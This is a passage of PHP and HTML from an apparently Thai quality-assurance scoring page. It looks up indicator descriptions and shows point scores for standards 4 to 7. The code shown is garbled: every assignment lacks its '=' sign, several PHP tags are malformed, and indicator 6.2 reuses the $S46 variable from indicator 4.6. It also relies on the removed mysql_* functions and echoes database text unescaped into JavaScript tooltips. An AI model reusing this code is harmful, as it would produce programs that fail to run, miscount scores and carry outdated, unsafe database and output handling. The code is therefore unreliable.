                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><a href="Standard/Std4/Topic4_4.php" class="c">ผลลัพธ์ 
                            4.4</a></font></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='4.5'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">4.5</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEFAED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S45 
$rs[S45];
                          if (
$S45== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FDF5DB"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S45 
$rs[S45];
                          if (
$S45== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FCF1CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S45 
$rs[S45];
                          if (
$S45== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FBEDBD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S45 
$rs[S45];
                          if (
$S45== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><a href="Standard/Std4/Topic4_5.php" class="c">ผลลัพธ์ 
                            4.5</a></font></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='4.6'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">4.6</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEFAED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S46 
$rs[S46];
                          if (
$S46== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FDF5DB"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S46 
$rs[S46];
                          if (
$S46== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FCF1CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S46 
$rs[S46];
                          if (
$S46== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FBEDBD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S46 
$rs[S46];
                          if (
$S46== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><a href="Standard/Std4/Topic4_6.php" class="c">ผลลัพธ์ 
                            4.6</a></font></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#CCCCCC"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr bgcolor="#FFFFE8">
                                <td width="50%"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>รวมมาตรฐานที่4</strong></font></div></td>
                                <td width="50%"><div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">
                                    <?php
  $SumStd4 
$rs[S41] + $rs[S42] + $rs[S43] + $rs[S44] + $rs[S45] + $rs[S46] ;
  echo
"$SumStd4";
  
?>
                                </font></strong></div></td>
                              </tr>
                          </table></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">5.0</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='5.1'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">5.1</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S51 
$rs[S51];
                          if (
$S51== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S51 
$rs[S51];
                          if (
$S51== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S51 
$rs[S51];
                          if (
$S51== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S51 
$rs[S51];
                          if (
$S51== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><a href="Standard/Std5/Topic5_1.php" class="c">ผลลัพธ์ 
                            5.1</a></font></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='5.2'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">5.2</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S52 
$rs[S52];
                          if (
$S52== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S52 
$rs[S52];
                          if (
$S52== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S52 
$rs[S52];
                          if (
$S52== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S52 
$rs[S52];
                          if (
$S52== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='5.3'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">5.3</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S53 
$rs[S53];
                          if (
$S53== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S53 
$rs[S53];
                          if (
$S53== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S53 
$rs[S53];
                          if (
$S53== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S53 
$rs[S53];
                          if (
$S53== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='5.4'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">5.4</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S54 
$rs[S54];
                          if (
$S54== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S54 
$rs[S54];
                          if (
$S54== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S54 
$rs[S54];
                          if (
$S54== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S54 
$rs[S54];
                          if (
$S54== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='5.5'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">5.5</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S55 
$rs[S55];
                          if (
$S55== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S55 
$rs[S55];
                          if (
$S55== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S55 
$rs[S55];
                          if (
$S55== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S55
$rs[S55];
                          if (
$S55== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#CCCCCC"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr bgcolor="#FFFFE8">
                                <td width="50%" bgcolor="#FFFFE8"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>รวมมาตรฐานที่5</strong></font></div></td>
                                <td width="50%"><div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">
                                    <?php
  $SumStd5 
$rs[S51] + $rs[S52] + $rs[S53] + $rs[S54] + $rs[S55]  ;
  echo
"$SumStd5";
  
?>
                                </font></strong></div></td>
                              </tr>
                          </table></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">6.0</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='6.1'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">6.1</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FBEEFA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S61 
$rs[S61];
                          if (
$S61== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FBEAFA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S61 
$rs[S61];
                          if (
$S61== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#F9DFF8"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S61 
$rs[S61];
                          if (
$S61== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#F8DAF7"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S61 
$rs[S61];
                          if (
$S61== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='6.2'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">6.2</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FBEEFA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S46 
$rs[S46];
                          if (
$S46== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FBEAFA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S46 
$rs[S46];
                          if (
$S46== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#F9DFF8"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S46 
$rs[S46];
                          if (
$S46== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#F8DAF7"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S46 
$rs[S46];
                          if (
$S46== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#CCCCCC"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr bgcolor="#FFFFE8">
                                <td width="50%"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>รวมมาตรฐานที่6</strong></font></div></td>
                                <td width="50%"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>
                                    <?php
  $SumStd6 
$rs[S61] + $rs[S62]  ;
  echo
"$SumStd6";
  
?>
                                </strong></font></div></td>
                              </tr>
                          </table></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">7.0</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.1'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">7.1</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S71 
$rs[S71];
                          if (
$S71== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S71 
$rs[S71];
                          if (
$S71== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S71 
$rs[S71];
                          if (
$S71== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S71 
$rs[S71];
                          if (
$S71== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.2'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">7.2</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S72 
$rs[S72];
                          if (
$S72== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S72 
$rs[S72];
                          if (
$S72== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S72 
$rs[S72];
                          if (
$S72== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S72 
$rs[S72];
                          if (
$S72== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.3'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">7.3</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S73 
$rs[S73];
                          if (
$S73== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S73 
$rs[S73];
                          if (
$S73== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S73 
$rs[S73];
                          if (
$S73== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S73 
$rs[S73];
                          if (
$S73== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.4'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d"> 7.4</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S74 
$rs[S74];
                          if (
$S74== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S74 
$rs[S74];
                          if (
$S74== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S74 
$rs[S74];
                          if (
$S74== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S74 
$rs[S74];
                          if (
$S74== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.5'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">7.5</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S75 
$rs[S75];
                          if (
$S75== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S75 
$rs[S75];
                          if (
$S75== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S75 
$rs[S75];
                          if (
$S75== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S75 
$rs[S75];
                          if (
$S75== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.6'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">7.6</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S76 
$rs[S76];
                          if (
$S76== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S76 
$rs[S76];
                          if (
$S76== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S76 
$rs[S76];
                          if (
$S76== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCCE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S76 
$rs[S76];
                          if (
$S76== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='7.7'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">7.7</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FFFEF2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S77 
$rs[S77];
                          if (
$S77== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFDE6"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S77 
$rs[S77];
                          if (
$S77== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FFFCD9"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S77 
$rs[S77];
                          if (
$S77== 7)
                             echo
" 7 คะแนน";
                    
?>
                                  </font></div></td>
